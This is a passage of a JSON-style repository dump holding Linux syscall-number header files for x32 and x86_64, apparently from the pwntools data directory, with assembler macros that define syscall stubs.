(__X32_SYSCALL_BIT + 68)\n#define __NR_msgsnd (__X32_SYSCALL_BIT + 69)\n#define __NR_msgrcv (__X32_SYSCALL_BIT + 70)\n#define __NR_msgctl (__X32_SYSCALL_BIT + 71)\n#define __NR_fcntl (__X32_SYSCALL_BIT + 72)\n#define __NR_flock (__X32_SYSCALL_BIT + 73)\n#define __NR_fsync (__X32_SYSCALL_BIT + 74)\n#define __NR_fdatasync (__X32_SYSCALL_BIT + 75)\n#define __NR_truncate (__X32_SYSCALL_BIT + 76)\n#define __NR_ftruncate (__X32_SYSCALL_BIT + 77)\n#define __NR_getdents (__X32_SYSCALL_BIT + 78)\n#define __NR_getcwd (__X32_SYSCALL_BIT + 79)\n#define __NR_chdir (__X32_SYSCALL_BIT + 80)\n#define __NR_fchdir (__X32_SYSCALL_BIT + 81)\n#define __NR_rename (__X32_SYSCALL_BIT + 82)\n#define __NR_mkdir (__X32_SYSCALL_BIT + 83)\n#define __NR_rmdir (__X32_SYSCALL_BIT + 84)\n#define __NR_creat (__X32_SYSCALL_BIT + 85)\n#define __NR_link (__X32_SYSCALL_BIT + 86)\n#define __NR_unlink (__X32_SYSCALL_BIT + 87)\n#define __NR_symlink (__X32_SYSCALL_BIT + 88)\n#define __NR_readlink (__X32_SYSCALL_BIT + 89)\n#define __NR_chmod (__X32_SYSCALL_BIT + 90)\n#define __NR_fchmod (__X32_SYSCALL_BIT + 91)\n#define __NR_chown (__X32_SYSCALL_BIT + 92)\n#define __NR_fchown (__X32_SYSCALL_BIT + 93)\n#define __NR_lchown (__X32_SYSCALL_BIT + 94)\n#define __NR_umask (__X32_SYSCALL_BIT + 95)\n#define __NR_gettimeofday (__X32_SYSCALL_BIT + 96)\n#define __NR_getrlimit (__X32_SYSCALL_BIT + 97)\n#define __NR_getrusage (__X32_SYSCALL_BIT + 98)\n#define __NR_sysinfo (__X32_SYSCALL_BIT + 99)\n#define __NR_times (__X32_SYSCALL_BIT + 100)\n#define __NR_getuid (__X32_SYSCALL_BIT + 102)\n#define __NR_syslog (__X32_SYSCALL_BIT + 103)\n#define __NR_getgid (__X32_SYSCALL_BIT + 104)\n#define __NR_setuid (__X32_SYSCALL_BIT + 105)\n#define __NR_setgid (__X32_SYSCALL_BIT + 106)\n#define __NR_geteuid (__X32_SYSCALL_BIT + 107)\n#define __NR_getegid (__X32_SYSCALL_BIT + 108)\n#define __NR_setpgid (__X32_SYSCALL_BIT + 109)\n#define __NR_getppid (__X32_SYSCALL_BIT + 110)\n#define __NR_getpgrp (__X32_SYSCALL_BIT + 111)\n#define __NR_setsid (__X32_SYSCALL_BIT + 112)\n#define __NR_setreuid (__X32_SYSCALL_BIT + 113)\n#define __NR_setregid (__X32_SYSCALL_BIT + 114)\n#define __NR_getgroups (__X32_SYSCALL_BIT + 115)\n#define __NR_setgroups (__X32_SYSCALL_BIT + 116)\n#define __NR_setresuid (__X32_SYSCALL_BIT + 117)\n#define __NR_getresuid (__X32_SYSCALL_BIT + 118)\n#define __NR_setresgid (__X32_SYSCALL_BIT + 119)\n#define __NR_getresgid (__X32_SYSCALL_BIT + 120)\n#define __NR_getpgid (__X32_SYSCALL_BIT + 121)\n#define __NR_setfsuid (__X32_SYSCALL_BIT + 122)\n#define __NR_setfsgid (__X32_SYSCALL_BIT + 123)\n#define __NR_getsid (__X32_SYSCALL_BIT + 124)\n#define __NR_capget (__X32_SYSCALL_BIT + 125)\n#define __NR_capset (__X32_SYSCALL_BIT + 126)\n#define __NR_rt_sigsuspend (__X32_SYSCALL_BIT + 130)\n#define __NR_utime (__X32_SYSCALL_BIT + 132)\n#define __NR_mknod (__X32_SYSCALL_BIT + 133)\n#define __NR_personality (__X32_SYSCALL_BIT + 135)\n#define __NR_ustat (__X32_SYSCALL_BIT + 136)\n#define __NR_statfs (__X32_SYSCALL_BIT + 137)\n#define __NR_fstatfs (__X32_SYSCALL_BIT + 138)\n#define __NR_sysfs (__X32_SYSCALL_BIT + 139)\n#define __NR_getpriority (__X32_SYSCALL_BIT + 140)\n#define __NR_setpriority (__X32_SYSCALL_BIT + 141)\n#define __NR_sched_setparam (__X32_SYSCALL_BIT + 142)\n#define __NR_sched_getparam (__X32_SYSCALL_BIT + 143)\n#define __NR_sched_setscheduler (__X32_SYSCALL_BIT + 144)\n#define __NR_sched_getscheduler (__X32_SYSCALL_BIT + 145)\n#define __NR_sched_get_priority_max (__X32_SYSCALL_BIT + 146)\n#define __NR_sched_get_priority_min (__X32_SYSCALL_BIT + 147)\n#define __NR_sched_rr_get_interval (__X32_SYSCALL_BIT + 148)\n#define __NR_mlock (__X32_SYSCALL_BIT + 149)\n#define __NR_munlock (__X32_SYSCALL_BIT + 150)\n#define __NR_mlockall (__X32_SYSCALL_BIT + 151)\n#define __NR_munlockall (__X32_SYSCALL_BIT + 152)\n#define __NR_vhangup (__X32_SYSCALL_BIT + 153)\n#define __NR_modify_ldt (__X32_SYSCALL_BIT + 154)\n#define __NR_pivot_root (__X32_SYSCALL_BIT + 155)\n#define __NR_prctl (__X32_SYSCALL_BIT + 157)\n#define __NR_arch_prctl (__X32_SYSCALL_BIT + 158)\n#define __NR_adjtimex (__X32_SYSCALL_BIT + 159)\n#define __NR_setrlimit (__X32_SYSCALL_BIT + 160)\n#define __NR_chroot (__X32_SYSCALL_BIT + 161)\n#define __NR_sync (__X32_SYSCALL_BIT + 162)\n#define __NR_acct (__X32_SYSCALL_BIT + 163)\n#define __NR_settimeofday (__X32_SYSCALL_BIT + 164)\n#define __NR_mount (__X32_SYSCALL_BIT + 165)\n#define __NR_umount2 (__X32_SYSCALL_BIT + 166)\n#define __NR_swapon (__X32_SYSCALL_BIT + 167)\n#define __NR_swapoff (__X32_SYSCALL_BIT + 168)\n#define __NR_reboot (__X32_SYSCALL_BIT + 169)\n#define __NR_sethostname (__X32_SYSCALL_BIT + 170)\n#define __NR_setdomainname (__X32_SYSCALL_BIT + 171)\n#define __NR_iopl (__X32_SYSCALL_BIT + 172)\n#define __NR_ioperm (__X32_SYSCALL_BIT + 173)\n#define __NR_init_module (__X32_SYSCALL_BIT + 175)\n#define __NR_delete_module (__X32_SYSCALL_BIT + 176)\n#define __NR_quotactl (__X32_SYSCALL_BIT + 179)\n#define __NR_getpmsg (__X32_SYSCALL_BIT + 181)\n#define __NR_putpmsg (__X32_SYSCALL_BIT + 182)\n#define __NR_afs_syscall (__X32_SYSCALL_BIT + 183)\n#define __NR_tuxcall (__X32_SYSCALL_BIT + 184)\n#define __NR_security (__X32_SYSCALL_BIT + 185)\n#define __NR_gettid (__X32_SYSCALL_BIT + 186)\n#define __NR_readahead (__X32_SYSCALL_BIT + 187)\n#define __NR_setxattr (__X32_SYSCALL_BIT + 188)\n#define __NR_lsetxattr (__X32_SYSCALL_BIT + 189)\n#define __NR_fsetxattr (__X32_SYSCALL_BIT + 190)\n#define __NR_getxattr (__X32_SYSCALL_BIT + 191)\n#define __NR_lgetxattr (__X32_SYSCALL_BIT + 192)\n#define __NR_fgetxattr (__X32_SYSCALL_BIT + 193)\n#define __NR_listxattr (__X32_SYSCALL_BIT + 194)\n#define __NR_llistxattr (__X32_SYSCALL_BIT + 195)\n#define __NR_flistxattr (__X32_SYSCALL_BIT + 196)\n#define __NR_removexattr (__X32_SYSCALL_BIT + 197)\n#define __NR_lremovexattr (__X32_SYSCALL_BIT + 198)\n#define __NR_fremovexattr (__X32_SYSCALL_BIT + 199)\n#define __NR_tkill (__X32_SYSCALL_BIT + 200)\n#define __NR_time (__X32_SYSCALL_BIT + 201)\n#define __NR_futex (__X32_SYSCALL_BIT + 202)\n#define __NR_sched_setaffinity (__X32_SYSCALL_BIT + 203)\n#define __NR_sched_getaffinity (__X32_SYSCALL_BIT + 204)\n#define __NR_io_destroy (__X32_SYSCALL_BIT + 207)\n#define __NR_io_getevents (__X32_SYSCALL_BIT + 208)\n#define __NR_io_cancel (__X32_SYSCALL_BIT + 210)\n#define __NR_lookup_dcookie (__X32_SYSCALL_BIT + 212)\n#define __NR_epoll_create (__X32_SYSCALL_BIT + 213)\n#define __NR_remap_file_pages (__X32_SYSCALL_BIT + 216)\n#define __NR_getdents64 (__X32_SYSCALL_BIT + 217)\n#define __NR_set_tid_address (__X32_SYSCALL_BIT + 218)\n#define __NR_restart_syscall (__X32_SYSCALL_BIT + 219)\n#define __NR_semtimedop (__X32_SYSCALL_BIT + 220)\n#define __NR_fadvise64 (__X32_SYSCALL_BIT + 221)\n#define __NR_timer_settime (__X32_SYSCALL_BIT + 223)\n#define __NR_timer_gettime (__X32_SYSCALL_BIT + 224)\n#define __NR_timer_getoverrun (__X32_SYSCALL_BIT + 225)\n#define __NR_timer_delete (__X32_SYSCALL_BIT + 226)\n#define __NR_clock_settime (__X32_SYSCALL_BIT + 227)\n#define __NR_clock_gettime (__X32_SYSCALL_BIT + 228)\n#define __NR_clock_getres (__X32_SYSCALL_BIT + 229)\n#define __NR_clock_nanosleep (__X32_SYSCALL_BIT + 230)\n#define __NR_exit_group (__X32_SYSCALL_BIT + 231)\n#define __NR_epoll_wait (__X32_SYSCALL_BIT + 232)\n#define __NR_epoll_ctl (__X32_SYSCALL_BIT + 233)\n#define __NR_tgkill (__X32_SYSCALL_BIT + 234)\n#define __NR_utimes (__X32_SYSCALL_BIT + 235)\n#define __NR_mbind (__X32_SYSCALL_BIT + 237)\n#define __NR_set_mempolicy (__X32_SYSCALL_BIT + 238)\n#define __NR_get_mempolicy (__X32_SYSCALL_BIT + 239)\n#define __NR_mq_open (__X32_SYSCALL_BIT + 240)\n#define __NR_mq_unlink (__X32_SYSCALL_BIT + 241)\n#define __NR_mq_timedsend (__X32_SYSCALL_BIT + 242)\n#define __NR_mq_timedreceive (__X32_SYSCALL_BIT + 243)\n#define __NR_mq_getsetattr (__X32_SYSCALL_BIT + 245)\n#define __NR_add_key (__X32_SYSCALL_BIT + 248)\n#define __NR_request_key (__X32_SYSCALL_BIT + 249)\n#define __NR_keyctl (__X32_SYSCALL_BIT + 250)\n#define __NR_ioprio_set (__X32_SYSCALL_BIT + 251)\n#define __NR_ioprio_get (__X32_SYSCALL_BIT + 252)\n#define __NR_inotify_init (__X32_SYSCALL_BIT + 253)\n#define __NR_inotify_add_watch (__X32_SYSCALL_BIT + 254)\n#define __NR_inotify_rm_watch (__X32_SYSCALL_BIT + 255)\n#define __NR_migrate_pages (__X32_SYSCALL_BIT + 256)\n#define __NR_openat (__X32_SYSCALL_BIT + 257)\n#define __NR_mkdirat (__X32_SYSCALL_BIT + 258)\n#define __NR_mknodat (__X32_SYSCALL_BIT + 259)\n#define __NR_fchownat (__X32_SYSCALL_BIT + 260)\n#define __NR_futimesat (__X32_SYSCALL_BIT + 261)\n#define __NR_newfstatat (__X32_SYSCALL_BIT + 262)\n#define __NR_unlinkat (__X32_SYSCALL_BIT + 263)\n#define __NR_renameat (__X32_SYSCALL_BIT + 264)\n#define __NR_linkat (__X32_SYSCALL_BIT + 265)\n#define __NR_symlinkat (__X32_SYSCALL_BIT + 266)\n#define __NR_readlinkat (__X32_SYSCALL_BIT + 267)\n#define __NR_fchmodat (__X32_SYSCALL_BIT + 268)\n#define __NR_faccessat (__X32_SYSCALL_BIT + 269)\n#define __NR_pselect6 (__X32_SYSCALL_BIT + 270)\n#define __NR_ppoll (__X32_SYSCALL_BIT + 271)\n#define __NR_unshare (__X32_SYSCALL_BIT + 272)\n#define __NR_splice (__X32_SYSCALL_BIT + 275)\n#define __NR_tee (__X32_SYSCALL_BIT + 276)\n#define __NR_sync_file_range (__X32_SYSCALL_BIT + 277)\n#define __NR_utimensat (__X32_SYSCALL_BIT + 280)\n#define __NR_epoll_pwait (__X32_SYSCALL_BIT + 281)\n#define __NR_signalfd (__X32_SYSCALL_BIT + 282)\n#define __NR_timerfd_create (__X32_SYSCALL_BIT + 283)\n#define __NR_eventfd (__X32_SYSCALL_BIT + 284)\n#define __NR_fallocate (__X32_SYSCALL_BIT + 285)\n#define __NR_timerfd_settime (__X32_SYSCALL_BIT + 286)\n#define __NR_timerfd_gettime (__X32_SYSCALL_BIT + 287)\n#define __NR_accept4 (__X32_SYSCALL_BIT + 288)\n#define __NR_signalfd4 (__X32_SYSCALL_BIT + 289)\n#define __NR_eventfd2 (__X32_SYSCALL_BIT + 290)\n#define __NR_epoll_create1 (__X32_SYSCALL_BIT + 291)\n#define __NR_dup3 (__X32_SYSCALL_BIT + 292)\n#define __NR_pipe2 (__X32_SYSCALL_BIT + 293)\n#define __NR_inotify_init1 (__X32_SYSCALL_BIT + 294)\n#define __NR_perf_event_open (__X32_SYSCALL_BIT + 298)\n#define __NR_fanotify_init (__X32_SYSCALL_BIT + 300)\n#define __NR_fanotify_mark (__X32_SYSCALL_BIT + 301)\n#define __NR_prlimit64 (__X32_SYSCALL_BIT + 302)\n#define __NR_name_to_handle_at (__X32_SYSCALL_BIT + 303)\n#define __NR_open_by_handle_at (__X32_SYSCALL_BIT + 304)\n#define __NR_clock_adjtime (__X32_SYSCALL_BIT + 305)\n#define __NR_syncfs (__X32_SYSCALL_BIT + 306)\n#define __NR_setns (__X32_SYSCALL_BIT + 308)\n#define __NR_getcpu (__X32_SYSCALL_BIT + 309)\n#define __NR_kcmp (__X32_SYSCALL_BIT + 312)\n#define __NR_finit_module (__X32_SYSCALL_BIT + 313)\n#define __NR_sched_setattr (__X32_SYSCALL_BIT + 314)\n#define __NR_sched_getattr (__X32_SYSCALL_BIT + 315)\n#define __NR_renameat2 (__X32_SYSCALL_BIT + 316)\n#define __NR_seccomp (__X32_SYSCALL_BIT + 317)\n#define __NR_getrandom (__X32_SYSCALL_BIT + 318)\n#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)\n#define __NR_kexec_file_load (__X32_SYSCALL_BIT + 320)\n#define __NR_bpf (__X32_SYSCALL_BIT + 321)\n#define __NR_userfaultfd (__X32_SYSCALL_BIT + 323)\n#define __NR_membarrier (__X32_SYSCALL_BIT + 324)\n#define __NR_mlock2 (__X32_SYSCALL_BIT + 325)\n#define __NR_copy_file_range (__X32_SYSCALL_BIT + 326)\n#define __NR_pkey_mprotect (__X32_SYSCALL_BIT + 329)\n#define __NR_pkey_alloc (__X32_SYSCALL_BIT + 330)\n#define __NR_pkey_free (__X32_SYSCALL_BIT + 331)\n#define __NR_statx (__X32_SYSCALL_BIT + 332)\n#define __NR_io_pgetevents (__X32_SYSCALL_BIT + 333)\n#define __NR_rseq (__X32_SYSCALL_BIT + 334)\n#define __NR_pidfd_send_signal (__X32_SYSCALL_BIT + 424)\n#define __NR_io_uring_setup (__X32_SYSCALL_BIT + 425)\n#define __NR_io_uring_enter (__X32_SYSCALL_BIT + 426)\n#define __NR_io_uring_register (__X32_SYSCALL_BIT + 427)\n#define __NR_open_tree (__X32_SYSCALL_BIT + 428)\n#define __NR_move_mount (__X32_SYSCALL_BIT + 429)\n#define __NR_fsopen (__X32_SYSCALL_BIT + 430)\n#define __NR_fsconfig (__X32_SYSCALL_BIT + 431)\n#define __NR_fsmount (__X32_SYSCALL_BIT + 432)\n#define __NR_fspick (__X32_SYSCALL_BIT + 433)\n#define __NR_pidfd_open (__X32_SYSCALL_BIT + 434)\n#define __NR_clone3 (__X32_SYSCALL_BIT + 435)\n#define __NR_openat2 (__X32_SYSCALL_BIT + 437)\n#define __NR_pidfd_getfd (__X32_SYSCALL_BIT + 438)\n\n#define __NR_rt_sigaction (__X32_SYSCALL_BIT + 512)\n#define __NR_rt_sigreturn (__X32_SYSCALL_BIT + 513)\n#define __NR_ioctl (__X32_SYSCALL_BIT + 514)\n#define __NR_readv (__X32_SYSCALL_BIT + 515)\n#define __NR_writev (__X32_SYSCALL_BIT + 516)\n#define __NR_recvfrom (__X32_SYSCALL_BIT + 517)\n#define __NR_sendmsg (__X32_SYSCALL_BIT + 518)\n#define __NR_recvmsg (__X32_SYSCALL_BIT + 519)\n#define __NR_execve (__X32_SYSCALL_BIT + 520)\n#define __NR_ptrace (__X32_SYSCALL_BIT + 521)\n#define __NR_rt_sigpending (__X32_SYSCALL_BIT + 522)\n#define __NR_rt_sigtimedwait (__X32_SYSCALL_BIT + 523)\n#define __NR_rt_sigqueueinfo (__X32_SYSCALL_BIT + 524)\n#define __NR_sigaltstack (__X32_SYSCALL_BIT + 525)\n#define __NR_timer_create (__X32_SYSCALL_BIT + 526)\n#define __NR_mq_notify (__X32_SYSCALL_BIT + 527)\n#define __NR_kexec_load (__X32_SYSCALL_BIT + 528)\n#define __NR_waitid (__X32_SYSCALL_BIT + 529)\n#define __NR_set_robust_list (__X32_SYSCALL_BIT + 530)\n#define __NR_get_robust_list (__X32_SYSCALL_BIT + 531)\n#define __NR_vmsplice (__X32_SYSCALL_BIT + 532)\n#define __NR_move_pages (__X32_SYSCALL_BIT + 533)\n#define __NR_preadv (__X32_SYSCALL_BIT + 534)\n#define __NR_pwritev (__X32_SYSCALL_BIT + 535)\n#define __NR_rt_tgsigqueueinfo (__X32_SYSCALL_BIT + 536)\n#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)\n#define __NR_sendmmsg (__X32_SYSCALL_BIT + 538)\n#define __NR_process_vm_readv (__X32_SYSCALL_BIT + 539)\n#define __NR_process_vm_writev (__X32_SYSCALL_BIT + 540)\n#define __NR_setsockopt (__X32_SYSCALL_BIT + 541)\n#define __NR_getsockopt (__X32_SYSCALL_BIT + 542)\n#define __NR_io_setup (__X32_SYSCALL_BIT + 543)\n#define __NR_io_submit (__X32_SYSCALL_BIT + 544)\n#define __NR_execveat (__X32_SYSCALL_BIT + 545)\n#define __NR_preadv2 (__X32_SYSCALL_BIT + 546)\n#define __NR_pwritev2 (__X32_SYSCALL_BIT + 547)\n\n#ifdef __PIC__\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT;  \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT ; \\\n.endif\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT;  \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT;  \\\n.endif\n\n#else\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit;  \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall;  \\\n.endif\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit; \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall; \\\n.endif\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/x86_64/syscalls.h",
    "content": "#define __NR_read                                0\n#define __NR_write                               1\n#define __NR_open                                2\n#define __NR_close                               3\n#define __NR_stat                                4\n#define __NR_fstat                               5\n#define __NR_lstat                               6\n#define __NR_poll                                7\n\n#define __NR_lseek                               8\n#define __NR_mmap                                9\n#define __NR_mprotect                           10\n#define __NR_munmap                             11\n#define __NR_brk                                12\n#define __NR_rt_sigaction                       13\n#define __NR_rt_sigprocmask                     14\n#define __NR_rt_sigreturn                       15\n\n#define __NR_ioctl                              16\n#define __NR_pread                              17\n#define __NR_pwrite                             18\n#define __NR_readv                              19\n#define __NR_writev                             20\n#define __NR_access                             21\n#define __NR_pipe                               22\n#define __NR_select                             23\n\n#define __NR_sched_yield                        24\n#define __NR_mremap                             25\n#define __NR_msync                              26\n#define __NR_mincore                            27\n#define __NR_madvise                            28\n#define __NR_shmget                             29\n#define __NR_shmat                              30\n#define __NR_shmctl                             31\n\n#define __NR_dup                                32\n#define __NR_dup2                               33\n#define __NR_pause                              34\n#define __NR_nanosleep                          35\n#define __NR_getitimer                          36\n#define __NR_alarm                              37\n#define __NR_setitimer                          38\n#define __NR_getpid                             39\n\n#define __NR_sendfile                           40\n#define __NR_socket                             41\n#define __NR_connect                            42\n#define __NR_accept                             43\n#define __NR_sendto                             44\n#define __NR_recvfrom                           45\n#define __NR_sendmsg                            46\n#define __NR_recvmsg                            47\n\n#define __NR_shutdown                           48\n#define __NR_bind                               49\n#define __NR_listen                             50\n#define __NR_getsockname                        51\n#define __NR_getpeername                        52\n#define __NR_socketpair                         53\n#define __NR_setsockopt                         54\n#define __NR_getsockopt                         55\n\n#define __NR_clone                              56\n#define __NR_fork                               57\n#define __NR_vfork                              58\n#define __NR_execve                             59\n#define __NR_exit                               60\n#define __NR_wait4                              61\n#define __NR_kill                               62\n#define __NR_uname                              63\n\n#define __NR_semget                             64\n#define __NR_semop                              65\n#define __NR_semctl                             66\n#define __NR_shmdt                              67\n#define __NR_msgget                             68\n#define __NR_msgsnd                             69\n#define __NR_msgrcv                             70\n#define __NR_msgctl                             71\n\n#define __NR_fcntl                              72\n#define __NR_flock                              73\n#define __NR_fsync                              74\n#define __NR_fdatasync                          75\n#define __NR_truncate                           76\n#define __NR_ftruncate                          77\n#define __NR_getdents                           78\n#define __NR_getcwd                             79\n\n#define __NR_chdir                              80\n#define __NR_fchdir                             81\n#define __NR_rename                             82\n#define __NR_mkdir                              83\n#define __NR_rmdir                              84\n#define __NR_creat                              85\n#define __NR_link                               86\n#define __NR_unlink                             87\n\n#define __NR_symlink                            88\n#define __NR_readlink                           89\n#define __NR_chmod                              90\n#define __NR_fchmod                             91\n#define __NR_chown                              92\n#define __NR_fchown                             93\n#define __NR_lchown                             94\n#define __NR_umask                              95\n\n#define __NR_gettimeofday                       96\n#define __NR_getrlimit                          97\n#define __NR_getrusage                          98\n#define __NR_sysinfo                            99\n#define __NR_times                             100\n#define __NR_ptrace                            101\n#define __NR_getuid                            102\n#define __NR_syslog                            103\n\n/* at the very end the stuff that never runs during the benchmarks */\n#define __NR_getgid                            104\n#define __NR_setuid                            105\n#define __NR_setgid                            106\n#define __NR_geteuid                           107\n#define __NR_getegid                           108\n#define __NR_setpgid                           109\n#define __NR_getppid                           110\n#define __NR_getpgrp                           111\n\n#define __NR_setsid                            112\n#define __NR_setreuid                          113\n#define __NR_setregid                          114\n#define __NR_getgroups                         115\n#define __NR_setgroups                         116\n#define __NR_setresuid                         117\n#define __NR_getresuid                         118\n#define __NR_setresgid                         119\n\n#define __NR_getresgid                         120\n#define __NR_getpgid                           121\n#define __NR_setfsuid                          122\n#define __NR_setfsgid                          123\n#define __NR_getsid                            124\n#define __NR_capget                            125\n#define __NR_capset                            126\n\n#define __NR_rt_sigpending                     127\n#define __NR_rt_sigtimedwait                   128\n#define __NR_rt_sigqueueinfo                   129\n#define __NR_rt_sigsuspend                     130\n#define __NR_sigaltstack                       131\n#define __NR_utime                             132\n#define __NR_mknod                             133\n\n#define __NR_uselib                            134\n#define __NR_personality                       135\n\n#define __NR_ustat                             136\n#define __NR_statfs                            137\n#define __NR_fstatfs                           138\n#define __NR_sysfs                             139\n\n#define __NR_getpriority                       140\n#define __NR_setpriority                       141\n#define __NR_sched_setparam                    142\n#define __NR_sched_getparam                    143\n#define __NR_sched_setscheduler                144\n#define __NR_sched_getscheduler                145\n#define __NR_sched_get_priority_max            146\n#define __NR_sched_get_priority_min            147\n#define __NR_sched_rr_get_interval             148\n\n#define __NR_mlock                             149\n#define __NR_munlock                           150\n#define __NR_mlockall                          151\n#define __NR_munlockall                        152\n\n#define __NR_vhangup                           153\n\n#define __NR_modify_ldt                        154\n\n#define __NR_pivot_root                        155\n\n#define __NR__sysctl                           156\n\n#define __NR_prctl                             157\n#define __NR_arch_prctl                        158\n\n#define __NR_adjtimex                          159\n\n#define __NR_setrlimit                         160\n\n#define __NR_chroot                            161\n\n#define __NR_sync                              162\n\n#define __NR_acct                              163\n\n#define __NR_settimeofday                      164\n\n#define __NR_mount                             165\n#define __NR_umount2                           166\n\n#define __NR_swapon                            167\n#define __NR_swapoff                           168\n\n#define __NR_reboot                            169\n\n#define __NR_sethostname                       170\n#define __NR_setdomainname                     171\n\n#define __NR_iopl                              172\n#define __NR_ioperm                            173\n\n#define __NR_create_module                     174\n#define __NR_init_module                       175\n#define __NR_delete_module                     176\n#define __NR_get_kernel_syms                   177\n#define __NR_query_module                      178\n\n#define __NR_quotactl                          179\n\n#define __NR_nfsservctl                        180\n\n#define __NR_getpmsg                           181\t/* reserved for LiS/STREAMS */\n#define __NR_putpmsg                           182\t/* reserved for LiS/STREAMS */\n\n#define __NR_afs_syscall                       183\t/* reserved for AFS */\n\n#define __NR_tuxcall      \t\t184 /* reserved for tux */\n\n#define __NR_security\t\t\t185\n\n#define __NR_gettid\t\t186\n\n#define __NR_readahead\t\t187\n#define __NR_setxattr\t\t188\n#define __NR_lsetxattr\t\t189\n#define __NR_fsetxattr\t\t190\n#define __NR_getxattr\t\t191\n#define __NR_lgetxattr\t\t192\n#define __NR_fgetxattr\t\t193\n#define __NR_listxattr\t\t194\n#define __NR_llistxattr\t\t195\n#define __NR_flistxattr\t\t196\n#define __NR_removexattr\t197\n#define __NR_lremovexattr\t198\n#define __NR_fremovexattr\t199\n#define __NR_tkill\t200\n#define __NR_time      201\n#define __NR_futex     202\n#define __NR_sched_setaffinity    203\n#define __NR_sched_getaffinity     204\n#define __NR_set_thread_area\t205\n#define __NR_io_setup\t206\n#define __NR_io_destroy\t207\n#define __NR_io_getevents\t208\n#define __NR_io_submit\t209\n#define __NR_io_cancel\t210\n#define __NR_get_thread_area\t211\n#define __NR_lookup_dcookie\t212\n#define __NR_epoll_create\t213\n#define __NR_epoll_ctl_old\t214\n#define __NR_epoll_wait_old\t215\n#define __NR_remap_file_pages\t216\n#define __NR_getdents64\t217\n#define __NR_set_tid_address\t218\n#define __NR_restart_syscall\t219\n#define __NR_semtimedop\t\t220\n#define __NR_fadvise64\t\t221\n#define __NR_timer_create\t\t222\n#define __NR_timer_settime\t\t223\n#define __NR_timer_gettime\t\t224\n#define __NR_timer_getoverrun\t\t225\n#define __NR_timer_delete\t226\n#define __NR_clock_settime\t227\n#define __NR_clock_gettime\t228\n#define __NR_clock_getres\t229\n#define __NR_clock_nanosleep\t230\n#define __NR_exit_group\t\t231\n#define __NR_epoll_wait\t\t232\n#define __NR_epoll_ctl\t\t233\n#define __NR_tgkill\t\t234\n#define __NR_utimes\t\t235\n#define __NR_vserver\t\t236\n#define __NR_vserver\t\t236\n#define __NR_mbind \t\t237\n#define __NR_set_mempolicy \t238\n#define __NR_get_mempolicy \t239\n#define __NR_mq_open \t\t240\n#define __NR_mq_unlink \t\t241\n#define __NR_mq_timedsend \t242\n#define __NR_mq_timedreceive\t243\n#define __NR_mq_notify \t\t244\n#define __NR_mq_getsetattr \t245\n#define __NR_kexec_load \t246\n#define __NR_waitid\t\t247\n#define __NR_add_key\t\t248\n#define __NR_request_key\t249\n#define __NR_keyctl\t\t250\n#define __NR_ioprio_set\t\t251\n#define __NR_ioprio_get\t\t252\n#define __NR_inotify_init\t253\n#define __NR_inotify_add_watch\t254\n#define __NR_inotify_rm_watch\t255\n#define __NR_migrate_pages\t256\n#define __NR_openat\t\t257\n#define __NR_mkdirat\t\t258\n#define __NR_mknodat\t\t259\n#define __NR_fchownat\t\t260\n#define __NR_futimesat\t\t261\n#define __NR_newfstatat\t\t262\n#define __NR_unlinkat\t\t263\n#define __NR_renameat\t\t264\n#define __NR_linkat\t\t265\n#define __NR_symlinkat\t\t266\n#define __NR_readlinkat\t\t267\n#define __NR_fchmodat\t\t268\n#define __NR_faccessat\t\t269\n#define __NR_pselect6\t\t270\n#define __NR_ppoll\t\t271\n#define __NR_unshare\t\t272\n#define __NR_set_robust_list\t273\n#define __NR_get_robust_list\t274\n#define __NR_splice\t\t275\n#define __NR_tee\t\t276\n#define __NR_sync_file_range\t277\n#define __NR_vmsplice\t\t278\n#define __NR_move_pages\t\t279\n#define __NR_utimensat\t\t280\n#define __IGNORE_getcpu\t\t/* implemented as a vsyscall */\n#define __NR_epoll_pwait\t281\n#define __NR_signalfd\t\t282\n#define __NR_timerfd\t\t283\n#define __NR_eventfd\t\t284\n#define __NR_fallocate\t\t285\n#define __NR_timerfd_settime\t286\n#define __NR_timerfd_gettime\t287\n#define __NR_accept4\t\t288\n#define __NR_signalfd4\t\t289\n#define __NR_eventfd2\t\t290\n#define __NR_epoll_create1\t291\n#define __NR_dup3\t\t292\n#define __NR_pipe2\t\t293\n#define __NR_inotify_init1\t294\n#define __NR_preadv\t\t295\n#define __NR_pwritev\t\t296\n#define __NR_rt_tgsigqueueinfo\t297\n#define __NR_perf_event_open\t298\n#define __NR_recvmmsg\t\t299\n#define __NR_fanotify_init\t300\n#define __NR_fanotify_mark\t301\n#define __NR_prlimit64\t\t302\n#define __NR_name_to_handle_at 303\n#define __NR_open_by_handle_at 304\n#define __NR_clock_adjtime 305\n#define __NR_syncfs 306\n#define __NR_sendmmsg 307\n#define __NR_setns 308\n#define __NR_getcpu 309\n#define __NR_process_vm_readv 310\n#define __NR_process_vm_writev 311\n#define __NR_kcmp 312\n#define __NR_finit_module 313\n#define __NR_sched_setattr 314\n#define __NR_sched_getattr 315\n#define __NR_renameat2 316\n#define __NR_seccomp 317\n#define __NR_getrandom 318\n#define 